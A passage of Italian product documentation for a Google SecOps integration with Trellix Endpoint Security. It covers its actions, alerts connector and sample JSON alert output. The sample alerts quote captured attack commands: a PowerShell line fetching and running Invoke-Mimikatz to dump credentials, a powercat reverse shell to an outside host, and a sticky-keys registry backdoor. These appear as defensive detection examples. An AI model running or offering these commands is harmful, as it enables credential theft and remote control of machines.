            "state": "COMPLETE",
            "host": {
                "url": "/hx/api/v3/hosts/FqNP4ybCdrlfVqG3lrCvRP",
                "_id":
                "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "req_filename": "reg.exe",
            "req_path": "C:\\\\Windows\\\\System32",
            "_id": 9,
            "external_id": null,
            "condition": {
                "url": null,
                "_id": "FqNP4ybCdrlfVqG3lrCvRP"
            },
            "md5": "601bddf7691c5af626a5719f1d7e35f1"
        }],
        "Entity": "PC-01"
    }
]

Is Contain Malware Alerts

Descrizione

Controlla se sono elencati avvisi di malware per le entità host o IP di Google SecOps fornite sul server Trellix Endpoint Security.

Esegui il

Questa azione viene eseguita sulle seguenti entità:

Indirizzo IP
Nome host

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

[
    {
        "EntityResult": {
            "alerting_conditions": 10,
            "exploit_alerts": 0,
            "acqs": 4,
            "malware_false_positive_alerts": 0,
            "alerts": 10,
            "exploit_blocks": 0,
            "false_positive_alerts": 0,
            "malware_cleaned_count": 0,
            "malware_alerts": 0,
            "false_positive_alerts_by_source": {},
            "generic_alerts": 0,
            "malware_quarantined_count": 0
        },
        "Entity": "PC-01"
    }
]

Dindin

Descrizione

Testa la connettività al server Trellix Endpoint Security con i parametri forniti nella pagina di configurazione dell'integrazione nella pagina Google SecOps Content Hub.

Esegui il

Questa azione viene eseguita su tutte le entità.

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

N/A

Conferma i gruppi di avvisi

Descrizione

Conferma i gruppi di avvisi gestiti da Google SecOps per una migliore sincronizzazione tra la piattaforma HX e Google SecOps.

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
ID gruppi di avvisi	Elenco separato da virgole	N/D	Sì	Specifica gli ID dei gruppi di avvisi che vuoi confermare in un elenco separato da virgole.
Accettazione	DDL	Conferma	Sì	Specifica se vuoi confermare o annullare la conferma dei gruppi di avvisi specificati.
Commento di conferma	Stringa	N/D	No	Specifica il commento di conferma che vuoi aggiungere ai gruppi di avvisi pertinenti.
Limite	Numero intero	N/D	No	Specifica il numero massimo di elenchi di gruppi di avvisi restituiti dall'API nel risultato JSON.

Esegui il

Questa azione non viene eseguita sulle entità, ha un parametro di input obbligatorio.

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

{
    "data": {
        "total": 2,
        "query": {},
        "sort": {},
        "offset": 0,
        "limit": 50,
        "entries": [
            {
                "_id": "4532f4d8d50ab50a7830e2823ac488fd",
                "assessment": "[Process powershell.exe started] POWERSHELL DOWNLOADER (METHODOLOGY)",
                "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                "first_event_at": "2020-08-17T12:03:38.496Z",
                "last_event_at": "2020-12-10T08:02:22.561Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 718,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                        "url": "/hx/api/v3/conditions/yQjMv_j5PKfjL8Qu5uSm4A=="
                    },
                    "event_at": "2020-08-17T12:03:38.496+00:00",
                    "matched_at": "2020-12-10T09:26:55+00:00",
                    "reported_at": "2020-12-10T09:27:08.624+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [
                        "cda48fc75952ad12d99e526d0b6bf70a"
                    ],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/718",
                    "event_id": 39882,
                    "event_type": "processEvent",
                    "event_values": {
                        "processEvent/timestamp": "2020-08-17T12:03:38.496Z",
                        "processEvent/eventType": "start",
                        "processEvent/pid": 9896,
                        "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
                        "processEvent/process": "powershell.exe",
                        "processEvent/parentPid": 5560,
                        "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
                        "processEvent/parentProcess": "cmd.exe",
                        "processEvent/username": "FIREEYE-LAB\\Administrator",
                        "processEvent/startTime": "2020-08-17T12:03:38.496Z",
                        "processEvent/md5": "cda48fc75952ad12d99e526d0b6bf70a",
                        "processEvent/processCmdLine": "powershell.exe  \"iex (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');Invoke-Mimikatz -DumpCreds\" "
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 3
                },
                "url": "/hx/api/v3/alert_groups/4532f4d8d50ab50a7830e2823ac488fd",
                "created_at": "2020-12-10T09:26:56.056Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "yQjMv_j5PKfjL8Qu5uSm4A==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            },
            {
                "_id": "e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "assessment": "[Registry key event] EASE OF ACCESS BACKDOORS (METHODOLOGY)",
                "file_full_path": "",
                "first_event_at": "2020-12-10T08:04:09.521Z",
                "last_event_at": "2020-12-10T09:26:14.114Z",
                "dispositions": [],
                "source": "IOC",
                "has_fp_disposition": false,
                "last_alert": {
                    "_id": 723,
                    "agent": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "containment_state": "normal"
                    },
                    "condition": {
                        "_id": "2npvcLf_arxPaH717hQZ9g==",
                        "url": "/hx/api/v3/conditions/2npvcLf_arxPaH717hQZ9g=="
                    },
                    "event_at": "2020-12-10T09:26:14.114+00:00",
                    "matched_at": "2020-12-10T09:26:56+00:00",
                    "reported_at": "2020-12-10T09:27:08.735+00:00",
                    "source": "IOC",
                    "resolution": "ALERT",
                    "decorators": [],
                    "md5values": [],
                    "decorator_sources": [],
                    "decorator_statuses": [],
                    "url": "/hx/api/v3/alerts/723",
                    "event_id": 880771,
                    "event_type": "regKeyEvent",
                    "event_values": {
                        "regKeyEvent/timestamp": "2020-12-10T09:26:14.114Z",
                        "regKeyEvent/hive": "HKEY_LOCAL_MACHINE\\SOFTWARE",
                        "regKeyEvent/keyPath": "Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe",
                        "regKeyEvent/path": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\sethc.exe\\Debugger",
                        "regKeyEvent/eventType": 1,
                        "regKeyEvent/pid": 8740,
                        "regKeyEvent/process": "reg.exe",
                        "regKeyEvent/processPath": "C:\\Windows\\System32",
                        "regKeyEvent/valueName": "Debugger",
                        "regKeyEvent/valueType": "REG_SZ",
                        "regKeyEvent/value": "QwA6AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtADMAMgBcAGMAbQBkAC4AZQB4AGUAAAA=",
                        "regKeyEvent/text": "C:\\Windows\\System32\\cmd.exe",
                        "regKeyEvent/username": "FIREEYE-LAB\\Administrator"
                    },
                    "is_false_positive": false
                },
                "generic_alert_badge": null,
                "generic_alert_label": null,
                "stats": {
                    "events": 2
                },
                "url": "/hx/api/v3/alert_groups/e9f4d7baaa362d9d5d0b6e053ba0d44d",
                "created_at": "2020-12-10T08:04:54.740Z",
                "acknowledgement": {
                    "acknowledged": true,
                    "acknowledged_by": "test2",
                    "acknowledged_time": "2020-12-22T19:00:25.688Z",
                    "comment": "test comment",
                    "comment_update_time": "2020-12-22T19:00:25.688Z"
                },
                "grouped_by": {
                    "condition_id": "2npvcLf_arxPaH717hQZ9g==",
                    "detected_by": "ioc_engine",
                    "host": {
                        "_id": "9GJe9n4Ynd5dFtZ8wCjIu7",
                        "url": "/hx/api/v3/hosts/9GJe9n4Ynd5dFtZ8wCjIu7",
                        "hostname": "HW-HOST-FY01",
                        "primary_ip_address": "172.30.202.152"
                    }
                }
            }
        ]
    },
    "message": "OK",
    "details": [],
    "route": "/hx/api/v3/alert_groups"
}

Bacheca casi

Tipo di risultato	Valore/Descrizione	Tipo
Messaggio di output*	L'azione non deve avere esito negativo né interrompere l'esecuzione di un playbook: Se l'esito è positivo: se (totale) è uguale a (numero di ID gruppo di avvisi) - "Stato di conferma aggiornato correttamente per tutti i gruppi di avvisi" Se alcuni hanno esito positivo e altri no (il numero di ID forniti è maggiore del totale): "Avvisi recuperati correttamente per i seguenti ID gruppo di avvisi: {succesfull_alert_groups_ids}" "Impossibile recuperare gli avvisi per i seguenti ID gruppo di avvisi: {not_succesfull_slert_group_ids}" Se non sono stati recuperati i dettagli del gruppo di avvisi: "Impossibile recuperare gli avvisi per l'ID gruppo di avvisi fornito. Controlla gli ID forniti e riprova" L'azione non deve riuscire e deve interrompere l'esecuzione di un playbook: se non riesce: "Impossibile eseguire l'azione "Recupera avvisi nel gruppo di avvisi" (exception.stacktrace)	Generale

Tipo di risultato

Valore/Descrizione

Tipo

Messaggio di output*

L'azione non deve avere esito negativo né interrompere l'esecuzione di un playbook:
Se l'esito è positivo: se (totale) è uguale a (numero di ID gruppo di avvisi) -

"Stato di conferma aggiornato correttamente per tutti i gruppi di avvisi"

Se alcuni hanno esito positivo e altri no (il numero di ID forniti è maggiore del totale): "Avvisi recuperati correttamente per i seguenti ID gruppo di avvisi: {succesfull_alert_groups_ids}"
"Impossibile recuperare gli avvisi per i seguenti ID gruppo di avvisi: {not_succesfull_slert_group_ids}"

Se non sono stati recuperati i dettagli del gruppo di avvisi:

"Impossibile recuperare gli avvisi per l'ID gruppo di avvisi fornito. Controlla gli ID forniti e riprova"

L'azione non deve riuscire e deve interrompere l'esecuzione di un playbook:
se non riesce: "Impossibile eseguire l'azione "Recupera avvisi nel gruppo di avvisi" (exception.stacktrace)

Generale

Get Host Alert Groups

Descrizione

Elenca i gruppi di avvisi correlati a un host in Trellix Endpoint Security. Entità supportate: nome host, indirizzo IP.

Parametri

Nome visualizzato del parametro	Tipo	Valore predefinito	Is Mandatory	Descrizione
Filtro di conferma	DDL	ALL Solo confermati Solo non confermati	No	Specifica se vuoi restituire tutti i gruppi di avvisi o solo quelli confermati/non confermati.
Numero massimo di gruppi di avvisi da restituire	Numero intero	20	No	Specifica il numero di gruppi di avvisi da restituire per entità. Valore predefinito: 20.

Nome visualizzato del parametro

Tipo

Valore predefinito

Is Mandatory

Descrizione

Filtro di conferma

DDL

ALL

Solo confermati

Solo non confermati

Specifica se vuoi restituire tutti i gruppi di avvisi o solo quelli confermati/non confermati.

Numero massimo di gruppi di avvisi da restituire

Numero intero

Specifica il numero di gruppi di avvisi da restituire per entità. Valore predefinito: 20.

Esegui il

Questa azione viene eseguita sulle seguenti entità:

Indirizzo IP
Nome host

Risultati dell'azione

Risultato script

Nome del risultato dello script	Opzioni di valore	Esempio
is_success	Vero/Falso	is_success:False

Risultato JSON

{
    "_id": "6d9a68f2a78f8d983bd3c0f4556785e6",
    "assessment": "[Heur.BZC.ONG.Cheetah.3.1C89233F]",
    "file_full_path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
    "first_event_at": "2021-07-01T09:44:18.809Z",
    "last_event_at": "2021-07-01T09:44:18.809Z",
    "dispositions": [],
    "source": "MAL",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 812,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "event_at": "2021-07-01T09:44:18.809+00:00",
        "matched_at": "2021-07-01T09:44:18.809+00:00",
        "reported_at": "2021-07-01T09:44:20.353+00:00",
        "source": "MAL",
        "resolution": "QUARANTINED",
        "decorators": [],
        "md5values": [
            "36be03ea88f7d1effcafeeb65e0e1e57"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/812",
        "condition": null,
        "event_id": null,
        "event_type": null,
        "event_values": {
            "system-data": {
                "xmlns": "http://www.fireeye.com/antimalware-alert",
                "xmlns:xsi": "http://www.w3.org/2001/XMLSchema-instance",
                "xsi:schemaLocation": "http://www.fireeye.com/antimalware-alert AM-alert.xsd",
                "alert-version": "3",
                "correlation-id": "d01e8ea6-4d34-4005-8482-3ccc026e11ea",
                "timestamp": "2021-07-01T09:44:18.809Z",
                "product-version": "32.36.0",
                "engine-version": "11.0.1.19",
                "content-version": "7.86346",
                "mg-engine-version": "32.30.0.8460",
                "mg-content-version": "25",
                "whitelist-schema-version": "1.0.0",
                "whitelist-content-version": "1.32.1"
            },
            "os-details": {
                "$": {
                    "name": "windows",
                    "version": "10.0.14393",
                    "patch": "0",
                    "os-arch": "64-bit",
                    "os-language": "en-US"
                }
            },
            "scan-type": "oas",
            "scanned-object": {
                "scanned-object-type": "file-event",
                "file-event": {
                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                    "actor-process": {
                        "pid": "1268",
                        "path": "C:\\Windows\\System32\\xcopy.exe",
                        "user": {
                            "username": "",
                            "domain": ""
                        }
                    },
                    "sub-type": "FILE_OPERATION_CLOSED"
                }
            },
            "detections": {
                "detection": [
                    {
                        "engine": {
                            "engine-type": "av",
                            "engine-version": "11.0.1.19",
                            "content-version": "7.86346"
                        },
                        "infected-object": {
                            "object-type": "file",
                            "file-object": {
                                "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                "inner-file-path": "",
                                "original-file-name": "",
                                "container": "false",
                                "packed": "false",
                                "hidden": "false",
                                "system-file": "false",
                                "read-only": "false",
                                "temporary": "false",
                                "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                "size-in-bytes": "753",
                                "creation-time": "2021-07-01T09:41:47.610Z",
                                "modification-time": "2020-05-29T09:34:17.066Z",
                                "access-time": "2021-07-01T09:41:47.610Z"
                            }
                        },
                        "infection": {
                            "confidence-level": "high",
                            "infection-type": "malware",
                            "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F"
                        },
                        "action": {
                            "actioned-object": {
                                "object-type": "file",
                                "file-object": {
                                    "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
                                    "inner-file-path": "",
                                    "original-file-name": "",
                                    "container": "false",
                                    "packed": "false",
                                    "hidden": "false",
                                    "system-file": "false",
                                    "read-only": "false",
                                    "temporary": "false",
                                    "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
                                    "sha1sum": "ce1cdd84732367cbf2be60df57c52760bf2e8fe9",
                                    "sha256sum": "3862ddf0a77ef8e7e17c641939a6dc349885c1a08cd64748ec50358adafe0631",
                                    "size-in-bytes": "753",
                                    "creation-time": "2021-07-01T09:41:47.610Z",
                                    "modification-time": "2020-05-29T09:34:17.066Z",
                                    "access-time": "2021-07-01T09:41:47.610Z"
                                }
                            },
                            "requested-action": "clean",
                            "applied-action": "quarantine",
                            "result": "success",
                            "error": "0",
                            "reboot-required": "false"
                        }
                    }
                ]
            },
            "scan-statistics": {
                "total-scan-time-in-ms": "12227"
            }
        },
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/6d9a68f2a78f8d983bd3c0f4556785e6",
    "created_at": "2021-07-01T09:44:23.726Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "md5sum": "36be03ea88f7d1effcafeeb65e0e1e57",
        "file-path": "C:\\Users\\Administrator\\Downloads\\APTSimulator-master\\APTSimulator-master\\build\\test-sets\\defense-evasion\\js-dropper.bat",
        "infection-name": "Heur.BZC.ONG.Cheetah.3.1C89233F",
        "detected_by": "malware_file_access_scan",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }
},
{
    "_id": "0043aa34dea99c23996c2f16291cdb4e",
    "assessment": "[Process powershell.exe started] POWERCAT (UTILITY)",
    "file_full_path": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
    "first_event_at": "2021-07-01T09:41:50.428Z",
    "last_event_at": "2021-07-01T09:41:50.428Z",
    "dispositions": [],
    "source": "IOC",
    "has_fp_disposition": false,
    "last_alert": {
        "_id": 811,
        "agent": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "containment_state": "normal"
        },
        "condition": {
            "_id": "KBvTAC_L_GiI9BZbph2GoA==",
            "url": "/hx/api/v3/conditions/KBvTAC_L_GiI9BZbph2GoA=="
        },
        "event_at": "2021-07-01T09:41:50.428+00:00",
        "matched_at": "2021-07-01T09:43:29+00:00",
        "reported_at": "2021-07-01T09:44:09.339+00:00",
        "source": "IOC",
        "resolution": "ALERT",
        "decorators": [],
        "md5values": [
            "097ce5761c89434367598b34fe32893b"
        ],
        "decorator_sources": [],
        "decorator_statuses": [],
        "url": "/hx/api/v3/alerts/811",
        "event_id": 11311494,
        "event_type": "processEvent",
        "event_values": {
            "processEvent/timestamp": "2021-07-01T09:41:50.428Z",
            "processEvent/eventType": "start",
            "processEvent/pid": 3676,
            "processEvent/processPath": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
            "processEvent/process": "powershell.exe",
            "processEvent/parentPid": 2496,
            "processEvent/parentProcessPath": "C:\\Windows\\System32\\cmd.exe",
            "processEvent/parentProcess": "cmd.exe",
            "processEvent/username": "FIREEYE-LAB\\Administrator",
            "processEvent/startTime": "2021-07-01T09:41:50.428Z",
            "processEvent/md5": "097ce5761c89434367598b34fe32893b",
            "processEvent/processCmdLine": "powershell  -Exec Bypass \". \\\"C:\\TMP\\nc.ps1\\\";powercat -c www.googleaccountsservices.com -p 80 -t 2 -e cmd\""
        },
        "multiple_match": "Multiple Indicators Matched.",
        "is_false_positive": false
    },
    "generic_alert_badge": null,
    "generic_alert_label": null,
    "stats": {
        "events": 1
    },
    "url": "/hx/api/v3/alert_groups/0043aa34dea99c23996c2f16291cdb4e",
    "created_at": "2021-07-01T09:44:13.744Z",
    "acknowledgement": {
        "acknowledged": false,
        "acknowledged_by": null,
        "acknowledged_time": null,
        "comment": null,
        "comment_update_time": null
    },
    "grouped_by": {
        "condition_id": "KBvTAC_L_GiI9BZbph2GoA==",
        "detected_by": "ioc_engine",
        "host": {
            "_id": "JS2asEbMWGgfxT0aHVu034",
            "url": "/hx/api/v3/hosts/JS2asEbMWGgfxT0aHVu034",
            "hostname": "FireEye-Domain",
            "primary_ip_address": "172.30.202.71"
        }
    }

Bacheca casi

Tipo di risultato	Valore/Descrizione	Tipo
Messaggio di output\*	L'azione non deve fallire né interrompere l'esecuzione di un playbook: se i dati sono disponibili per un'entità(is_success = true): "Gruppi di avvisi recuperati correttamente per le seguenti entità in Trellix Endpoint Security: {entity.identifier}". Se i dati non sono disponibili per uno(is_success = true): "L'azione non è riuscita a recuperare i gruppi di avvisi per le seguenti entità in Trellix Endpoint Security: {entity.identifier}". Se i dati non sono disponibili per tutti(is_success=false): "Non sono stati trovati gruppi di avvisi per le entità fornite in Trellix Endpoint Security". L'azione non dovrebbe riuscire e dovrebbe interrompere l'esecuzione di un playbook: se si verifica un errore irreversibile, ad esempio credenziali errate, nessuna connessione al server, altro: "Errore durante l'esecuzione dell'azione "Get Host Alert Groups". Reason: {0}''.format(error.Stacktrace)	Generale
Tabella della bacheca casi	Colonne: Valutazione ID gruppo di avvisi Data/ora primo evento Ultimo evento alle ore Confermato Conteggio eventi Rilevato da	Entità

Tipo di risultato

Valore/Descrizione

Tipo

Messaggio di output\*

L'azione non deve fallire né interrompere l'esecuzione di un playbook:
se i dati sono disponibili per un'entità(is_success = true): "Gruppi di avvisi recuperati correttamente per le seguenti entità in Trellix Endpoint Security: {entity.identifier}".

Se i dati non sono disponibili per uno(is_success = true): "L'azione non è riuscita a recuperare i gruppi di avvisi per le seguenti entità in Trellix Endpoint Security: {entity.identifier}".

Se i dati non sono disponibili per tutti(is_success=false): "Non sono stati trovati gruppi di avvisi per le entità fornite in Trellix Endpoint Security".

L'azione non dovrebbe riuscire e dovrebbe interrompere l'esecuzione di un playbook:
se si verifica un errore irreversibile, ad esempio credenziali errate, nessuna connessione al server, altro: "Errore durante l'esecuzione dell'azione "Get Host Alert Groups". Reason: {0}''.format(error.Stacktrace)

Generale

Tabella della bacheca casi

Colonne:

Valutazione
ID gruppo di avvisi
Data/ora primo evento
Ultimo evento alle ore
Confermato
Conteggio eventi
Rilevato da

Entità

Connettori

Connettore degli avvisi FireEye HX

Descrizione

Il connettore Google SecOps SOAR Trellix Endpoint Security Alerts importa gli avvisi di sicurezza generati sul server Trellix Endpoint Security.

Il connettore si connette periodicamente all'endpoint del server API Trellix Endpoint Security ed estrae un elenco di avvisi generati per un periodo di tempo specifico. Se sono presenti nuovi avvisi di sicurezza, il connettore crea avvisi Google SecOps SOAR in base agli avvisi di sicurezza Trellix Endpoint Security e salva il timestamp del connettore come l'ora dell'ultimo avviso di sicurezza importato correttamente. Nella successiva esecuzione del connettore, quest'ultimo eseguirà query sull'API Trellix Endpoint Security solo per gli avvisi, creati dal timestamp (timestamp più un offset "tecnico" per non bloccare il connettore). Se non vengono trovati nuovi avvisi, l'esecuzione corrente viene completata.

Autorizzazioni API

Il connettore Trellix Endpoint Security Alerts utilizza gli stessi metodi di autenticazione e le stesse autorizzazioni dell'API dell'integrazione FireEye esistente. Per utilizzare gli avvisi FireEye, l'account che verrà utilizzato per l'integrazione deve avere un ruolo "API Analyst" o "API Admin".

Configura il connettore degli avvisi FireEye HX in Google SecOps

Per istruzioni dettagliate su come configurare un connettore in Google SecOps, consulta Configurazione del connettore.

Parametri del connettore

Utilizza i seguenti parametri per configurare il connettore:

Nome visualizzato del parametro	Tipo	Valore predefinito	È obbligatorio	Descrizione
Nome campo prodotto	Stringa	ProductName	Sì	Descrizione definita dalla piattaforma, il campo è immutabile.
Nome campo evento	Stringa	AlertName	Sì	Descrizione definita dalla piattaforma, il campo è immutabile.
Nome campo ambiente	Stringa	""	No	Descrive il nome del campo in cui è memorizzato il nome dell'ambiente. Se il campo dell'ambiente non viene trovato, l'ambiente è "".
Pattern regex dell'ambiente	Stringa	.*	No	Un pattern regex da eseguire sul valore trovato nel campo "Nome campo ambiente". Il valore predefinito è .* per rilevare tutto e restituire il valore invariato. Utilizzato per consentire all'utente di manipolare il campo dell'ambiente tramite la logica delle espressioni regolari Se il pattern regex è null o vuoto oppure il valore dell'ambiente è null, il risultato finale dell'ambiente è "".
Timeout dello script (secondi)	Numero intero	180	Sì	Limite di timeout per il processo Python che esegue lo script corrente.
Root API	Stringa	https://x.x.x.x:<port>	Sì	URL di base dell'API Trellix Endpoint Security Server
Nome utente	Stringa	N/D	Sì	Utente Trellix Endpoint Security con cui eseguire l'autenticazione
Password	Password	N/D	Sì	Password utente di Trellix Endpoint Security con cui eseguire l'autenticazione
Verifica SSL	Casella di controllo	Selezionata	Sì	Se specificato, il connettore verificherà se Trellix Endpoint Security è configurato con un certificato SSL valido. Se il certificato non è valido, il connettore restituirà un errore.
Ora di offset in ore	Numero intero	24	Sì	Recupera gli avvisi di X ore precedenti.
Numero massimo di avvisi per ciclo	Numero intero	25	Sì	Quanti avvisi devono essere elaborati durante un'esecuzione del connettore.
Tipo di avviso	Stringa	active_threat	No	Specifica quali tipi di avvisi di sicurezza di Trellix Endpoint Security importare. Per impostazione predefinita, è impostato su active_threat per restituire gli avvisi nello stato ALERT e QUARANTINED/partial_block. Un altro parametro valido è ALERT, che restituirà solo gli avvisi aperti.
Utilizza la lista consentita come lista bloccata	Casella di controllo (checkbox)	Deselezionata	Sì	Se questa opzione è attiva, la lista consentita verrà utilizzata come lista bloccata.
Indirizzo del server proxy	IP_OR_HOST	N/D	No	Server proxy da utilizzare per la connessione.
Nome utente del server proxy	Stringa	N/D	No	Nome utente del server proxy.
Password del server proxy	Password	N/D	No	Password del server proxy.

Regole del connettore

Lista bloccata Le regole della lista bloccata dovrebbero essere supportate, ma il connettore utilizza la logica della lista consentita per impostazione predefinita.
Regole della lista consentita: utilizzate per impostazione predefinita.
Supporto dei proxy Il connettore supporta i proxy.
ConnectorRules predefinite

RuleType(Whitelist \ Blacklist)	RuleName (stringa)
WhiteList	In questa sezione, specifica quali avvisi importare in base agli attributi di origine e sottotipo degli avvisi, ad esempio: "IOC" per gli avvisi degli indicatori, "MAL AV" per importare gli avvisi di malware solo con il sottotipo "AV" o "MAL" per importare tutti gli avvisi di malware, indipendentemente dal sottotipo. Per importare tutti gli avvisi, rimuovi tutto dalla sezione della lista consentita.

RuleType(Whitelist \ Blacklist)

RuleName (stringa)

WhiteList

In questa sezione, specifica quali avvisi importare in base agli attributi di origine e sottotipo degli avvisi, ad esempio: "IOC" per gli avvisi degli indicatori, "MAL AV" per importare gli avvisi di malware solo con il sottotipo "AV" o "MAL" per importare tutti gli avvisi di malware, indipendentemente dal sottotipo. Per importare tutti gli avvisi, rimuovi tutto dalla sezione della lista consentita.

Hai bisogno di ulteriore assistenza? Ricevi risposte dai membri della community e dai professionisti di Google SecOps.